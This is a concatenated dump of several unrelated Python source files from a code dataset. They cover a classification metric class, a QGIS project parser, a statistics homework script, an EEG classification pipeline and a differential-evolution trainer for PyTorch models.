SQLite/database_manip.py","file_name":"database_manip.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"69980423772","text":"import copy\nimport warnings\nimport numpy as np\nimport torch\n\nfrom graph4nlp.pytorch.modules.evaluation.base import EvaluationMetricBase\n\n\nclass Accuracy(EvaluationMetricBase):\n \"\"\"\n Calculate precision, recall, F1 for each labels\n\n Parameters\n ----------\n metrics: list\n Indicate the metric for the class to return.\n Note that each metric must be one of ``precision``, ``recall``, ``F1``, ``accuracy``.\n And the results' order is the same as the metrics.\n \"\"\"\n\n def __init__(self, metrics):\n super().__init__()\n if isinstance(metrics, list):\n for metric in metrics:\n if metric not in [\"precision\", \"recall\", \"F1\", \"accuracy\"]:\n raise TypeError(\n \"argument metric must be list of str containing \"\n \"'precision', 'recall', 'F1', 'accuracy'\"\n )\n self.metrics = metrics\n\n def calculate_scores(\n self, ground_truth, predict, average=None, zero_division=\"warning\", sample_weight=None\n ):\n \"\"\"\n The function to calculate the expected metrics for each labels\n\n Parameters\n ----------\n ground_truth: torch.Tensor\n Ground truth (correct) target values, 1d tensor\n predict: torch.Tensor\n The predicted target values generated by classifier, 1d tensor\n average: string or None, [None (default), 'micro', 'macro', 'weighted']\n If set ``None``, it will return the scores for each class.\n Otherwise, it will be reduced by the strategy as follows:\n\n ``'micro'``:\n Calculate metrics globally by counting the total true positives,\n false negatives and false positives.\n\n ``'macro'``:\n Calculate metrics for each label, and calculate the unweighted\n average values. This does not take label imbalance into account.\n\n ``'weighted'``:\n Calculate metrics for each label, and calculate the weighted\n average value. Note that the weight is the number of the true\n instances for each label.\n\n zero_division: \"warning\", 0, 1, default=\"warning\"\n Sets the value to return when there is a zero division.\n\n If set to \"warning\", this acts as 0, but warnings are also raised.\n\n sample_weight: None\n The sample weight. It is not implemented yet.\n\n Returns\n -------\n scores: list[object]\n Return the expected metrics initialized in init function in ``precision``, ``recall``, \\\n ``F1`` order\n \"\"\"\n ground_truth_np, predict_np = self._check_available(ground_truth, predict, zero_division)\n\n # calculate accuracy\n scores = ground_truth_np == predict_np\n accuracy_score = np.average(scores)\n\n if self.metrics is [\"precision\"]:\n return [accuracy_score]\n\n mcm = self._calculate_confusion_matrix(ground_truth=ground_truth_np, predict=predict_np)\n\n tp_sum = mcm[:, 1, 1]\n pred_sum = tp_sum + mcm[:, 0, 1]\n gt_sum = tp_sum + mcm[:, 1, 0]\n\n if average == \"micro\":\n tp_sum = np.array([tp_sum.sum()])\n pred_sum = np.array([pred_sum.sum()])\n gt_sum = np.array([gt_sum.sum()])\n\n # calculate precision and recall\n precision = self._prf_divide(tp_sum, pred_sum, zero_division=zero_division)\n recall = self._prf_divide(tp_sum, gt_sum, zero_division=zero_division)\n\n # calculate F_beta\n beta2 = 1 ** 2 # note: only F1 here\n denominator = beta2 * precision + recall\n\n denominator[denominator == 0.0] = 1 # avoid division by 0\n f_score = (1 + beta2) * precision * recall / denominator\n\n if average == \"weighted\":\n weighted = gt_sum\n else:\n weighted = None\n\n if average is not None:\n precision = np.average(precision, weights=weighted)\n recall = np.average(recall, weights=weighted)\n f_score = np.average(f_score, weights=weighted)\n scores = []\n\n for metric_name in self.metrics:\n if metric_name == \"precision\":\n scores.append(precision)\n elif metric_name == \"recall\":\n scores.append(recall)\n elif metric_name == \"F1\":\n scores.append(f_score)\n elif metric_name == \"accuracy\":\n scores.append(accuracy_score)\n else:\n raise NotImplementedError()\n return scores\n\n @staticmethod\n def _prf_divide(numerator, denominator, zero_division):\n \"\"\"\n The function performs division and handles zero-division situations.\n\n Parameters\n ----------\n numerator: numpy.ndarray\n denominator: numpy.ndarray\n zero_division: \"warning\", 0, 1, default=\"warning\"\n Sets the value to return when there is a zero division.\n\n If set to \"warning\", this acts as 0, but warnings are also raised.\n Returns\n -------\n results: numpy.ndarray\n The division results.\n\n \"\"\"\n zero_mask = denominator == 0.0\n denominator_cp = copy.deepcopy(denominator)\n denominator_cp[zero_mask] = 1.0\n ret = numerator / denominator_cp\n if np.sum(zero_mask) == 0:\n return ret\n ret[zero_mask] = 0.0 if zero_division in [\"warning\", 0] else 1.0\n if zero_division == \"warning\":\n warnings.warn(\"zero division encountered\")\n return ret\n\n @staticmethod\n def _check_available(ground_truth, predict, zero_division):\n \"\"\"\n The function to check the parameters.\n If all tests are passed, it will convert the tensor to numpy.\n\n Parameters\n ----------\n ground_truth: Any\n predict: Any\n zero_division: Any\n\n Returns\n -------\n ground_truth: numpy.ndarray\n numpy version of tensor ground_truth\n predict: numpy.ndarray\n numpy version of tensor predict\n\n Raises\n -------\n TypeError: TypeError\n ValueError: ValueError\n \"\"\"\n if not isinstance(ground_truth, torch.Tensor):\n raise TypeError(\"argument ground_truth must be torch.tensor\")\n if not isinstance(predict, torch.Tensor):\n raise TypeError(\"argument predict must be torch.tensor\")\n if ground_truth.dtype not in [torch.int, torch.int8, torch.int16, torch.int32, torch.int64]:\n raise TypeError(\"argument ground_truth must be int tensor\")\n if predict.dtype not in [torch.int, torch.int8, torch.int16, torch.int32, torch.int64]:\n raise TypeError(\"argument predict must be int tensor\")\n if len(ground_truth.shape) != 1:\n raise TypeError(\"argument ground_truth must be 1d tensor\")\n if len(predict.shape) != 1:\n raise TypeError(\"argument predict must be 1d tensor\")\n if ground_truth.shape[0] != predict.shape[0]:\n raise ValueError(\"argument ground_truth and predict must be the same shape\")\n\n zero_division_ok = False\n if isinstance(zero_division, str) and zero_division == \"warning\":\n zero_division_ok = True\n elif isinstance(zero_division, (int, float)) and zero_division in [0, 1]:\n zero_division_ok = True\n\n if not zero_division_ok:\n raise ValueError(\"argument zero_division must be in ['warning', 0, 1]\")\n\n return ground_truth.numpy(), predict.numpy()\n\n def _calculate_confusion_matrix(self, ground_truth, predict):\n \"\"\"\n The function to calculate the confusion matrix for multi-class inputs.\n The labels will be collected and relabeled. (eg: [1, 2, 3] --> [0, 1, 2])\n\n In multi-class confusion matrix :math:`MCM`, the count of true negatives is\n :math:`MCM_{:,0,0}`, false positives is :math:`MCM_{:,0,1}`, false negatives\n is :math:`MCM_{:,1,0}` and true positive is :math:`MCM_{:,1,1}`.\n\n Parameters\n ----------\n ground_truth: numpy.ndarray\n predict: numpy.ndarray\n\n Returns\n -------\n confusion_matrix: numpy.ndarray\n The confusion matrix which has the shape: [num_labels, 2, 2]\n \"\"\"\n # select all labels, remove duplicates and sort\n unique_labels = sorted(self._get_unique_labels(ground_truth, predict))\n\n # do relabeling\n ground_truth_transformed = np.searchsorted(unique_labels, ground_truth)\n predict_transformed = np.searchsorted(unique_labels, predict)\n\n # the number of labels after relabeling\n n_labels = len(unique_labels)\n\n tp = ground_truth_transformed == predict_transformed\n tp_bins = ground_truth_transformed[tp]\n tp_sum = np.bincount(tp_bins, weights=None, minlength=n_labels)\n pred_sum = np.bincount(predict_transformed, minlength=n_labels)\n gt_sum = np.bincount(ground_truth_transformed, minlength=n_labels)\n fp = pred_sum - tp_sum\n fn = gt_sum - tp_sum\n tp = tp_sum\n tn = ground_truth_transformed.shape[0] - tp - fp - fn\n return np.array([tn, fp, fn, tp]).T.reshape(-1, 2, 2)\n\n @staticmethod\n def _get_unique_labels(*lists):\n \"\"\"\n find the unique elements in the given lists\n\n Parameters\n ----------\n lists: [numpy.ndarray]\n List of lists which contain labels.\n Returns\n -------\n unique_labels: numpy.ndarray\n It has unique labels encountered in the ``lists``.\n \"\"\"\n ret = []\n for li in lists:\n unique_li = np.unique(li)\n ret.extend(unique_li.tolist())\n ret = list(set(ret))\n return np.array(ret)\n","repo_name":"graph4ai/graph4nlp","sub_path":"graph4nlp/pytorch/modules/evaluation/accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":9915,"program_lang":"python","lang":"en","doc_type":"code","stars":1637,"dataset":"github-code","pt":"32"} +{"seq_id":"28824983423","text":"import os\n\nfrom collections import OrderedDict\nfrom PyQt4.QtXml import QDomDocument\nfrom PyQt4.QtCore import QDir, QFileInfo\n\nfrom qgis.gui import QgsMapCanvasLayer\nfrom qgis.core import QgsVectorLayer, QgsRasterLayer, QgsMapLayerRegistry, QgsMapSettings, QgsProject\n\n\ndef layer_by_id(layerid):\n return QgsMapLayerRegistry.instance().mapLayers()[layerid]\n\n\ndef iternodes(nodes):\n for index in xrange(nodes.length()):\n yield nodes.at(index).toElement()\n\n\nclass Project(object):\n def __init__(self, xmldoc):\n self.doc = xmldoc\n self._maplayers = None\n\n @classmethod\n def fromFile(cls, filename):\n QDir.setCurrent(os.path.dirname(filename))\n fileinfo = QFileInfo(filename)\n QgsProject.instance().read(fileinfo)\n xml = open(filename).read()\n doc = QDomDocument()\n doc.setContent(xml)\n return cls(doc)\n\n def _createLayer(self, node):\n type = node.attribute('type')\n if type == \"vector\":\n layer = QgsVectorLayer()\n elif type == \"raster\":\n layer = QgsRasterLayer()\n else:\n return None\n layer.readLayerXML(node)\n return layer\n\n def _getLayer(self, node):\n filelist = node.elementsByTagName(\"legendlayerfile\")\n layerfile = filelist.at(0).toElement()\n layerid = layerfile.attribute('layerid')\n visible = int(layerfile.attribute('visible'))\n return layerid, bool(visible)\n\n def maplayers(self):\n return QgsMapLayerRegistry.instance().mapLayers().values()\n\n def legendlayers(self):\n legendnodes = self.doc.elementsByTagName(\"legendlayer\")\n layers = OrderedDict()\n for elm in iternodes(legendnodes):\n layerid, visible = self._getLayer(elm)\n layers[layerid] = visible\n return layers\n\n def settings(self):\n \"\"\"\n Return the settings that have been set for the map canvas.\n @return: A QgsMapSettings instance with the settings read from the project.\n \"\"\"\n canvasnodes = self.doc.elementsByTagName(\"mapcanvas\")\n node = canvasnodes.at(0).toElement()\n settings = QgsMapSettings()\n settings.readXML(node)\n return settings\n\n def visiblelayers(self):\n # Filter out only the ones we can see.\n visible = [layerid for layerid, visible in self.legendlayers().iteritems() if visible]\n return [layer_by_id(layerid) for layerid in visible]\n","repo_name":"NathanW2/qgis2img","sub_path":"qgis2img/projectparser.py","file_name":"projectparser.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"37236627056","text":"# Statistische Muserekennung WS 2023\n# Benjamin Stifter, 01618881\n# Olivia Panzenböck, 11775488\n\nimport numpy as np\nfrom scipy import stats\nimport matplotlib.pyplot as plt\nimport scipy.integrate as integrate\n\n\n# Aufgabe3\n\ndef dichte(x, mu, std):\n p_x=[]\n for i in x:\n p_x1 = 1/(np.sqrt(2*np.pi)*std) * np.exp(-np.power(i-mu,2)/(2*np.power(std,2))) # S. 237\n p_x.append(p_x1)\n return p_x\n\ndef rand(x, p_x_mu, p_mu, p_x_mu2, p_mu2 ):\n p_x=[]\n for i in range(len(x)):\n p_x1=p_x_mu[i] * p_mu +p_x_mu2[i] * p_mu2\n p_x.append(p_x1)\n return p_x\n\n return\n\ndef posterior(x, p_x_mu, p_mu, p_x):\n p_mu_x=[]\n for i in range(len(x)):\n p_mu_x1=(p_mu[i] * p_x_mu) / p_x[i]\n p_mu_x.append(p_mu_x1)\n return p_mu_x\n\n# Werte\np_H0 = [0.9, 0.99]\np_H1 = [0.1, 0.01]\nmu_H0 = 4\nstd_H0 = np.sqrt(1)\nmu_H1 = 5\nstd_H1 = np.sqrt(1)\n\n# Aufgabe a)\nx_values=np.linspace(0, 12, 1000)\n\nFalse_P = 1-stats.norm.cdf(x_values, loc=mu_H0, scale=std_H0) # false positive\nTrue_P = 1-stats.norm.cdf(x_values, loc=mu_H1, scale=std_H1) # true positive\n\nVW1=[]\nVW2=[]\nfor i, j in enumerate(x_values):\n a = (True_P[i] * p_H1[0]) / (True_P[i] * p_H1[0] + False_P[i] * p_H0[0])\n b = (True_P[i] * p_H1[1]) / (True_P[i] * p_H1[1] + False_P[i] * p_H0[1])\n VW1.append(a)\n VW2.append(b)\n\n\nplt.figure(figsize=(18, 12))\nplt.plot(x_values, VW1, color='orange', label=r'$H_0$ = 0.9, $H_1$ = 0.1')\nplt.plot(x_values, VW2, color='brown', label=r'$H_0$ = 0.99, $H_1$ = 0.01')\n#plt.title(r'positiven Vorhersagewert als Funktion der Entscheidungsgrenze')\nplt.ylabel(r'$p(H_1|+)$')\nplt.xlabel(r'$x^*$')\nplt.legend()\nplt.grid(True)\nplt.savefig('plots/Aufgabe3/a.eps', format='eps')\nplt.show()\n\n\n# Aufgabe b)\npx_H0 = dichte(x_values, mu_H0, std_H0)\npx_H1 = dichte(x_values, mu_H1, std_H1)\npx_9 = rand(x_values, px_H0, p_H0[0], px_H1, p_H1[0])\npx_99 = rand(x_values, px_H0, p_H0[1], px_H1, p_H1[1])\np_H0_x_9 = posterior(x_values,p_H0[0], px_H0, px_9)\np_H1_x_9 = posterior(x_values,p_H1[0], px_H1, px_9)\np_H0_x_99 = posterior(x_values,p_H0[1], px_H0, px_99)\np_H1_x_99 = posterior(x_values,p_H1[1], px_H1, px_99)\n\n# Schnittmenge finden\nround1 = [round(zahl, 5) for zahl in p_H0_x_9]\nround2 = [round(zahl, 5) for zahl in p_H1_x_9]\ngemeinsame_elemente = set(round1).intersection(round2)\ngemeinsame_elemente = [x for x in round1 if x in round2]\nprint(list(gemeinsame_elemente))\nP1_err_H0 = 1-stats.norm.cdf(6.7, loc=mu_H0, scale=std_H0)*p_H0[0]\nP2_err_H0 = stats.norm.cdf(6.7, loc=mu_H1, scale=std_H1)*p_H1[0]\nR1 = 1-stats.norm.cdf(9.1, loc=mu_H0, scale=std_H0)*p_H0[1]\nR2 = stats.norm.cdf(9.1, loc=mu_H1, scale=std_H1)*p_H1[1]\n\nBFR_9 = P1_err_H0 + P2_err_H0\nBFR_99 = R1 + R2\n\nprint(BFR_9)\nprint(BFR_99)\n\nplt.figure(figsize=(18, 12))\nplt.plot(x_values, p_H0_x_9, label=r'$H_0$ = 0.9, $H_1$ = 0.1', color='orange')\nplt.plot(x_values, p_H1_x_9, color='orange')\nplt.plot(x_values, p_H0_x_99, color='brown')\nplt.plot(x_values, p_H1_x_99, label=r'$H_0$ = 0.99, $H_1$ = 0.01', color='brown')\nplt.plot([6.7, 6.7], [0, 1], color='k')\nplt.plot([9.1, 9.1], [0, 1], label='Entscheidungsgrenzen', color='k')\nplt.title('Posteriors')\nplt.grid(True)\nplt.ylabel(r'$p(H_i|x)$')\nplt.xlabel(r'$x$')\nplt.legend()\nidx1 = np.argwhere(np.diff(np.sign(np.array(p_H0_x_9) - np.array(p_H1_x_9)))).flatten()\nidx2 = np.argwhere(np.diff(np.sign(np.array(p_H0_x_99) - np.array(p_H1_x_99)))).flatten()\nprint(idx1)\nprint(idx2)\nprint(x_values[514])\nprint(x_values[698])\nplt.savefig('plots/Aufgabe3/b_3.eps', format='eps')\nplt.show()\n\n\n\n# Aufgabe c)\nplt.figure(figsize=(18, 12))\nplt.plot(False_P, True_P, color='green')\n#plt.title(r'ROC-Kurve')\nplt.xlabel(r'$\\alpha$')\nplt.ylabel(r'$1 - \\beta$')\nplt.grid(True)\nplt.savefig('plots/Aufgabe3/c.eps', format='eps')\nplt.show()\n\n\n\n#Test\nplt.figure(figsize=(18, 12))\np_x_H0 = dichte(x_values, mu_H0, std_H0)\np_x_H1 = dichte(x_values, mu_H1, std_H1)\nplt.plot(x_values, p_x_H0, label=r'$H_0$ - gesund', color='red', linestyle='--')\nplt.plot(x_values, p_x_H1, label=r'$H_1$ - infiziert', color='blue', linestyle='--')\nplt.plot(x_values, p_H0_x_9, label=r'$H_0$ = 0.9', color='red')\nplt.plot(x_values, p_H1_x_9,label=r'$H_1$ = 0.1', color='blue')\nplt.plot([6.7, 6.7], [0, 1], label='Entscheidungsgrenzen', color='k')\nplt.title(r'Wahrscheinlichkeitsfuntion $H_0$ und $H_1$')\nplt.grid(True)\nplt.ylabel(r'$p(x|H_i)$')\nplt.xlabel(r'$x$')\nplt.legend()\nplt.savefig('plots/Aufgabe3/b_1.eps', format='eps')\nplt.show()\n\n#Test\nplt.figure(figsize=(18, 12))\np_x_H0 = dichte(x_values, mu_H0, std_H0)\np_x_H1 = dichte(x_values, mu_H1, std_H1)\nplt.plot(x_values, p_x_H0, label=r'$H_0$ - gesund',color='red', linestyle='--')\nplt.plot(x_values, p_x_H1, label=r'$H_1$ - infiziert', color='blue', linestyle='--')\nplt.plot(x_values, p_H0_x_99, label=r'$H_0$ = 0.99', color='red')\nplt.plot(x_values, p_H1_x_99,label=r'$H_1$ = 0.01', color='blue')\nplt.plot([9.1, 9.1], [0, 1], label='Entscheidungsgrenzen', color='k')\nplt.title(r'Wahrscheinlichkeitsfuntion $H_0$ und $H_1$')\nplt.grid(True)\nplt.ylabel(r'$p(x|H_i)$')\nplt.xlabel(r'$x$')\nplt.legend()\nplt.savefig('plots/Aufgabe3/b_2.eps', format='eps')\nplt.show()","repo_name":"livi099/Statistische_Mustererkennung_UE","sub_path":"Uebung2/Aufgabe 3 old.py","file_name":"Aufgabe 3 old.py","file_ext":"py","file_size_in_byte":5109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7774565972","text":"\"\"\"\r\nCreated on Wed Feb 14 22:22:09 2018\r\n\r\n@author: Anet\r\nprint(__doc__)\r\n\"\"\"\r\nimport mne\r\nimport numpy as np\r\nfrom mne import io\r\nimport platform; print(platform.platform())\r\nimport sys; print(\"Python\", sys.version)\r\nimport numpy; print(\"NumPy\", numpy.__version__)\r\nimport scipy; print(\"SciPy\", scipy.__version__)\r\nimport sklearn; print(\"Scikit-Learn\", sklearn.__version__)\r\nimport feature as ft\r\nimport lda as lda\r\nimport epochs_methods as epoch_met\r\nimport input_test_data as load_file_names\r\nfrom builtins import print\r\nimport mix_data_x_y as mix\r\nimport config\r\nimport neural_network as neural_network\r\nimport print_results\r\nfrom numpy.random import seed\r\nfrom keras.models import load_model\r\n\r\n\r\nseed(1)\r\n\r\n\r\n#turn off log\r\nmne.set_log_level('ERROR')\r\n# import os\r\n# os.environ[\"TF_CPP_MIN_LOG_LEVEL\"]=\"4\"\r\n\r\n# Set path to raw data folder \r\nDATA_FOLDER ='C:/Users/Anet/eclipse-workspace/Classification/raw_data/'\r\n\r\n\r\n# Set EEG event list - instruction\r\n\r\n\r\n\r\n##############################################\r\n#\r\n# Data loading\r\n#\r\n##############################################\r\n\r\n# mapu, ve ktere jsou ulozeny nazvy trenovacich souboru a jejich targetove/non-targetove znacky\r\nfiles_training_map = load_file_names.load_training_data_names()\r\n\r\n# mapu, ve ktere jsou ulozeny nazvy testovacich souboru a jejich targetove nazvy\r\nfiles_testing_map = load_file_names.load_predicting_data_names()\r\n\r\n\r\n\r\ndata_training_count = len(files_training_map)\r\ndata_predicting_count = len(files_testing_map)\r\n\r\n##############################################\r\n#\r\n# Loading data to train\r\n#\r\n##############################################\r\nraw = []\r\nfor i in range(data_training_count):\r\n path = DATA_FOLDER + (files_training_map[i][0])\r\n raw.append(io.read_raw_brainvision(vhdr_fname=path, preload=True))\r\n raw[i].filter(config.low_filter_frequency,config.high_filter_frequency)\r\n# print(raw[i]._events)\r\n\r\n##############################################\r\n#\r\n# Loading data to predict\r\n#\r\n##############################################\r\nraw_to_predict = []\r\ntrue_prediction = []\r\nfor i in range(data_predicting_count):\r\n path = DATA_FOLDER + (files_testing_map[i][0])\r\n true_prediction.append(files_testing_map[i][1])\r\n true_prediction[i] = true_prediction[i].strip()\r\n raw_to_predict.append(io.read_raw_brainvision(vhdr_fname=path, preload=True))\r\n raw_to_predict[i].filter(config.low_filter_frequency,config.high_filter_frequency)\r\n\r\n \r\n##############################################\r\n#\r\n# Epochs creating\r\n#\r\n##############################################\r\n \r\n# Vytvori epochy pro klasifikaci\r\nevent_to_predict = []\r\nepochs_to_predict = []\r\nfor i in range(data_predicting_count):\r\n event_to_predict.append(raw_to_predict[i]._events)\r\n \r\n if(i < config.instruction_files_to_pred):\r\n\r\n epochs_to_predict.append(mne.Epochs(raw_to_predict[i],event_to_predict[i], event_id=config.event_id_instruction, tmin=config.epoch_tmin, tmax=config.epoch_tmax,baseline=(config.baseline_min, config.baseline_max), preload=True))\r\n else:\r\n epochs_to_predict.append(mne.Epochs(raw_to_predict[i],event_to_predict[i], event_id=config.event_id_matrix, tmin=config.epoch_tmin, tmax=config.epoch_tmax,baseline=(config.baseline_min, config.baseline_max), preload=True))\r\n \r\n \r\n\r\n# Plot raw data\r\n# raw[0].plot(block=True, lowpass=40, n_channels=5)\r\n\r\n# for i in range(data_count): \r\n# raw[i].plot(block=True, lowpass=40, n_channels=6)\r\n\r\n##############################################\r\n#\r\n# \r\n#\r\n##############################################\r\n\r\n\r\n\r\n\r\n# Set color of events\r\n\"\"\"\r\n\r\n\r\nfor i in range(data_count):\r\n mne.viz.plot_events(events[i],raw[i].info['sfreq'], raw[i].first_samp, color=config.color)\r\n \"\"\"\r\n\r\n#extract epochs\r\n\r\nevents_train = []\r\nepochs = []\r\nepochs_targets = []\r\nepochs_non_targets = []\r\n\r\n\r\n\r\n# Vytvori epochy, z vytvorenych Epoch potom vybere ty targetove a ulozi je do epochs_target\r\n\r\nfor i in range(data_training_count):\r\n events_train.append(raw[i]._events)\r\n \r\n if(i < config.instruction_files_count):\r\n epochs.append(mne.Epochs(raw[i],events_train[i], event_id=config.event_id_instruction, tmin=config.epoch_tmin, tmax=config.epoch_tmax,baseline=(config.baseline_min, config.baseline_max), preload=True))\r\n instruction = 1\r\n else:\r\n epochs.append(mne.Epochs(raw[i],events_train[i], event_id=config.event_id_matrix, tmin=config.epoch_tmin, tmax=config.epoch_tmax,baseline=(config.baseline_min, config.baseline_max), preload=True))\r\n instruction = 0\r\n \r\n epochs_targets.append(epoch_met.filter_epochs_target(epochs[i], events_train[i], files_training_map[i][1], instruction)) \r\n epochs_non_targets.append(epoch_met.filter_epochs_target(epochs[i], events_train[i], files_training_map[i][2], instruction)) \r\n \r\n\r\n\r\n\"\"\"\r\nfor i in range(data_count):\r\n mne.viz.plot_epochs(epochs[i])\r\n\"\"\"\r\n\r\n# epochs.plot(title=\"Events epochs\", n_epochs=(len(epochs.events)),event_colors=color)\r\n# mne.viz.plot_epochs(epochs, title=\"Events epochs\", n_epochs=15,event_colors=color)\r\n\r\n\r\n\r\n# Create evoked structure\r\n\r\nevoked_dict = [[]]\r\n# jen pro instruction\r\nfor i in range(config.instruction_files_count):\r\n evoked_dict.append('')\r\n evoked_dict[i] = dict()\r\n for condition in config.conditions:\r\n evoked_dict[i][condition] = epochs[i][condition].average()\r\n \r\n\r\n# Plot chart \r\n\r\n\"\"\"\r\nfor i in range(data_count):\r\n mne.viz.plot_compare_evokeds(evoked_dict[i], title=\"ERP chart\", colors=config.colors, linestyles=config.linestyles, gfp=False)\r\n\"\"\"\r\n\r\n\"\"\"\r\n\r\nExtrakce priznaku\r\n\r\n\"\"\"\r\nlabels = epochs[0].events[:, -1]\r\n\r\n#feature extraction\r\n \r\ntarget_features = []\r\nnon_target_features = []\r\nx = []\r\n\r\n\r\ntest_sample_count = 5\r\n\r\n\r\ny = []\r\n\r\n\r\n# Prepare data to training \r\ntarget_nontarget_epochs = epochs_targets + epochs_non_targets\r\n\r\n\r\nfor i in range(len(target_nontarget_epochs)):\r\n #count of target epochs \r\n for j in range(len(target_nontarget_epochs[i])):\r\n \r\n pick_epochs = target_nontarget_epochs[i][j].pick_channels(config.chan)\r\n x.append(ft.feature_vector(pick_epochs))\r\n if(i < epochs_targets.__len__()):\r\n y.append(1)\r\n else:\r\n y.append(0)\r\n\r\n\r\n# Prepare data to predict \r\nx_pred = []\r\n\r\ny = np.array(y)\r\n\r\nfor i in range(data_predicting_count):\r\n x_pred.append([])\r\n for j in range(len(epochs_to_predict[i])):\r\n pick_epoch_to_predict = epochs_to_predict[i][j].pick_channels(config.chan)\r\n x_pred[i].append(ft.feature_vector(pick_epoch_to_predict))\r\n\r\n\r\n\r\n\r\nmix.mix_data(x, y)\r\n\r\n# X = np.reshape(X,(-1, 100))\r\n\r\n##############################################\r\n#\r\n# Predicting\r\n#\r\n##############################################\r\n\r\n# plotting means of training data\r\n# plt.plot(np.mean(X[y==1], axis=0))\r\n# plt.plot(np.mean(X[y==0], axis=0))\r\n# plt.show()\r\n\r\n\r\n# plotting tests epochs\r\n# for i in range(len(X_pred)):\r\n# name = str(i)+'.png'\r\n# plt.plot(X_pred[i])\r\n# plt.savefig(name)\r\n\r\n\r\n\r\nx_event_lda = []\r\nx_event_neural = []\r\n\r\nprint()\r\nprint(\"If you want to load model from file: 1\")\r\nprint(\"If you want to train new model : 0\")\r\nprint()\r\nmodel_load = input(\"Load model? 1/0: \")\r\nif(model_load == '1'):\r\n config.model = load_model('save_models/mymodel_5.h5') \r\nelse:\r\n if(model_load == '0'):\r\n neural_network.train(x, y)\r\n else:\r\n print(\"Invalid option\")\r\n\r\n\r\nfor i in range(data_predicting_count):\r\n x_event_lda.append(lda.solve(x,y,x_pred[i]))\r\n x_event_neural.append(neural_network.solve(x_pred[i]))\r\n\r\n\r\nfor i in range(data_predicting_count):\r\n print()\r\n print(\"##########################################\")\r\n print()\r\n \r\n \r\n if(i < config.instruction_files_to_pred):\r\n \r\n print(i+1,\".) Expected solve: \",true_prediction[i])\r\n print()\r\n \r\n instruction = 1\r\n print(\"LDA: \")\r\n print_results.print_guess(x_event_lda[i], epochs_to_predict[i], true_prediction[i],instruction)\r\n print(\"Neural network: \")\r\n print_results.print_guess(x_event_neural[i], epochs_to_predict[i], true_prediction[i],instruction)\r\n \r\n else:\r\n if(i%2==1):\r\n print(i+1,\".) Expected solve: \",true_prediction[i],true_prediction[i+1])\r\n \r\n print()\r\n \r\n instruction = 0\r\n print(\"LDA: \")\r\n print_results.print_guess(x_event_lda[i], epochs_to_predict[i], true_prediction[i],instruction)\r\n print(\"Neural network: \")\r\n print_results.print_guess(x_event_neural[i], epochs_to_predict[i], true_prediction[i],instruction)\r\n \r\n print()\r\n\r\n\r\n\r\n\r\n","repo_name":"medunova/Classificator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2961502300","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom operator import itemgetter\nfrom datetime import datetime\nimport copy\nimport torch\n\n\nclass DE:\n\n def __init__(self, objective_function, population_function, X, y, Xtest=None, ytest=None, pop_size=50,\n F=0.5, cr=0.5, start_agent=None, use_cuda=False):\n if use_cuda and torch.cuda.is_available:\n self.device = torch.device('cuda')\n print('Using GPU')\n else:\n self.device = torch.device('cpu')\n self.obj = objective_function\n self.X = X.to(self.device)\n self.y = y.long().to(self.device)\n self.N = pop_size\n self.pop_func = population_function\n self.F = torch.Tensor([F]).to(self.device)\n self.cr = torch.Tensor([cr]).to(self.device)\n self.pop = [population_function().to(self.device) for i in range(pop_size)]\n self.testNN = population_function().to(self.device)\n self.testcost = False\n if start_agent is not None:\n self.pop[0] = copy.deepcopy(start_agent)\n if Xtest is not None and ytest is not None:\n self.Xtest = Xtest.to(self.device)\n self.ytest = ytest.long().to(self.device)\n self.testcost = True\n\n def save_model(self, fname, path='../Conv1DModels/', agent=None):\n if agent is None:\n agent = self.best_agent\n torch.save(agent, path+fname)\n\n def load_model(self, fname, path='../Conv1DModels/'):\n return torch.load(path+fname)\n\n def NN_obj(self, agent):\n yhat = agent(self.X)[0].T\n return self.obj(yhat, self.y)\n\n def mutation(self, nets):\n\n for testp, p1, p2, p3 in zip(*[net.parameters() for net in nets]):\n testp.data = p1 + self.F * (p2 - p3)\n\n pass\n\n def crossover(self, target):\n\n for dw, tw in zip(self.testNN.parameters(), target.parameters()):\n crit = torch.rand(dw.shape, device=self.device) < self.cr\n trial_w = crit * dw + ~crit * tw\n dw.data = trial_w\n\n pass\n\n def evolution(self, num_epochs, verbose=False, print_epoch=1000):\n # evaluate the initialized population with the objective function\n obj_all = torch.Tensor([self.NN_obj(agent) for agent in self.pop])\n\n # find the best agent within the initial population\n self.best_agent = self.pop[torch.argmin(obj_all)]\n\n best_obj = torch.min(obj_all)\n prev_obj = best_obj\n\n self.best_objs = np.zeros(num_epochs + 1)\n self.best_objs[0] = best_obj\n\n if self.testcost:\n self.best_test_objs = np.zeros(num_epochs + 1)\n self.best_test_objs[0] = self.obj(self.best_agent(self.Xtest)[0].T, self.ytest)\n\n for i in range(num_epochs):\n for j, x in enumerate(self.pop):\n\n choice = np.random.choice(np.delete(np.arange(self.N), j), 3, replace=False)\n a, b, c = itemgetter(*choice)(self.pop)\n # a, b, c = self.pop[np.random.choice(np.delete(np.arange(self.N), j), 3, replace=False)]\n\n # Mutation\n self.mutation([self.testNN, a, b, c])\n\n # Crossover\n self.crossover(x)\n\n # Selection\n obj_u = self.NN_obj(self.testNN)\n if obj_u < self.NN_obj(x):\n self.pop[j] = copy.deepcopy(self.testNN)\n obj_all[j] = obj_u\n\n # update the current best objective function value\n best_obj = torch.min(obj_all)\n self.best_objs[i + 1] = best_obj\n\n if best_obj < prev_obj:\n # update best agent\n self.best_agent = self.pop[torch.argmin(obj_all)]\n # update previous solution to use for next iteration\n prev_obj = best_obj\n\n if self.testcost:\n self.best_test_objs[i + 1] = self.obj(self.best_agent(self.Xtest)[0].T, self.ytest)\n\n if verbose and i % print_epoch == 0:\n # report progress at each iteration\n print('%d: cost= %.5f' % (i, best_obj))\n print('%d: testcost= %.5f' % (i, self.best_test_objs[i + 1]))\n print('%d: acc= %.5f' % (i, self.accuracy(self.best_agent(self.X), self.y)))\n print('%d: testacc= %.5f' % (i, self.accuracy(self.best_agent(self.Xtest), self.ytest)))\n plt.plot(list(self.best_agent.parameters())[0].cpu().detach()[0][0])\n plt.show()\n\n 